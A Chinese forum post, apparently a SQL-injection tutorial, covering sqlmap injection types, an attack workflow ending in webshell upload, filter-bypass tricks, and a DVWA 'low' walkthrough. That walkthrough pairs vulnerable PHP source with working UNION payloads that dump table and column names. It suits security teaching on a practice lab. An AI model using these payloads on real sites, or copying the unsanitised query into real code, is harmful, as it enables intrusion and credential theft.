本帖最后由 Martini 于 2020-6-11 23:30 编辑
sqlmap注入类型- B 布尔型注入
- E 错误型注入
- U 联合查询注入
- S 多语句查询注入
- T 基于时间盲注
sql注入常规利用思路:
- 寻找注入点,可以通过web扫描工具实现
- 通过注入点,尝试获得关于连接数据库用户名,数据库名称,连接数据库用户权限,操作系统,数据库版本等相关信息。
- 猜解数据库表及其重要字段与内容(常见如存放管理员账户的表名,字段名等信息)
- 可以通过获得的用户信息,寻找后台登录。
- 利用后台或了解的进一步信息,上传webshell或向数据库写入一句话木马,以进一步提权,直接拿到服务器权限。
手工注入常规思路:
- 判断是否存在注入,注入是字符型还是数字型
- 猜解SQL查询语句中的字段数
- 确定显示的字段顺序
- 获取当前数据库
- 获取当前数据库
- 获取表中的字段名
- 查询到账户的数据
判断一个网站链接存在注入的最简单方式就是让数据库报错,比如加上“或者’或者and 1=1等等,总结一些让数据库报错的语句。 必知数据库 获取MYSQL数据库下的所有数据库名select SCHEMA_NAME from information_schema.schmata 获取一个数据库里面的所有表名select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='数据库名'获取一个表中的所有字段名select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='表名' 获取数据select 字段名,字段名 from 表名 闭合参数之所以注入分了数字型,字符串型,搜索型,都是因为SQL语句写的时候加上单引号双引号之类包围起来 sql = "select user from users where id = $id"上面一条sql语句直接获取参数,带入查询,这就是所谓的数字型,其实就是没有用单引号包围起来
字符串型注入的sql语句就是把传入过来的id包围起来。 sql = "select user from users where id = '$id'"有的用双引号包围,有的用括号包围,如果要注入的话,就必须要闭合前面的参数,加上单引号或者双引号包围。 有这些闭合方式: 还有一些别的方式。 mysql注释符- 【#】 在URL中需要转换一下编码格式变成【%23】
- 【–+】或者【–空格任意符号】
- 【·】 该符号在键盘~的下面
- 【;%00】%00是MYSQL的截断符号
+在URL中表示空格,过滤某些转义字符可以试一试不同的注释符号拼接在一起尝试绕过。 URL代替空格- %0a,%0b,%0c,%0d,%09,%a0,%20
- 基于注释符号【/**/】插入代替空格
- 使用+号代替空格
- 其中~可以加在select后面,比如select~1,2%23
- 带入的变量可以加上括号,比如select * from user where name like (‘%zhaohan%’)
常用函数字符串截取,用法:substr(string,start, length);string为字符串;start为起始位置;length为长度。 转换成ascii字符,用法:ord(‘a’)==>97 截取字符串(只能用于mysql)用法:mid(string,start, length);string为字符串;start为起始位置;length为要返回的字符数。 如果expr1的条件符合就返回expr1的值,不然就返回expr2的值。 连接字符串,将多个字符串连接成一个字符串。用法:concat(str1, str2,…) 将返回的值连接在一起,意思就是返回多个值同样也可以直接输出在一个空格位。用法:group_concat(user,name) 和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符. 类型转换,两者的语法不同,cast(value as type),convert(value,type)。 休眠,用法:sleep(1)休眠一秒钟 作用:改变文档中符合条件的节点的值。用法:updatexml(string,start,xpath,value),其中string是对象,xpath是xpath格式的字符串,value是替换查找到符合前面xpath的数据。 对四种级别的代码进行分析:
low:
查看源:
- <?php
- if( isset( $_REQUEST[ 'Submit' ] ) ) {
- // Get input 用REQUEST获取表单数据,表单属性名为submit,接着判断是否存在,存在就执行下面的代码。
- $id = $_REQUEST[ 'id' ];
- // Check database 用REQUEST获取表单数据,传递过来的数据名为id,这里重新定义一个变量id获取到传入的数据
- $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";//数据库查询语句,按照传入的id的数据,从数据库上、查询first_name,last_name的值。
- $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
- // Get results
- $num = mysql_numrows( $result );
- $i = 0;
- while( $i < $num ) {
- // Get values
- $first = mysql_result( $result, $i, "first_name" );
- $last = mysql_result( $result, $i, "last_name" );
- // Feedback for end user
- echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
- // Increase loop count
- $i++;
- }
- mysql_close();//关闭数据库连接
- }
- ?>
复制代码 输入1,然后点击按钮,此时回显
1.判断是否存在注入
输入1,页面正常
输入1',页面报错,返回的结果表示存在注入。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
输入1 and 1=1

1' and ' 1 '=' 2页面返回结果为空白,查询失败。
1' or ' 1 '=' 1页面正常,返回更多信息,成功查询。
得到存在字符型注入。
2.判断有多少个字段
使用order by获取字段数 ,输入1' order by 2#

输入 1'union select 1,2#,获得数据库的名称

输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()#
得到表名:guestbook,users
输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#

得到列:user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password
|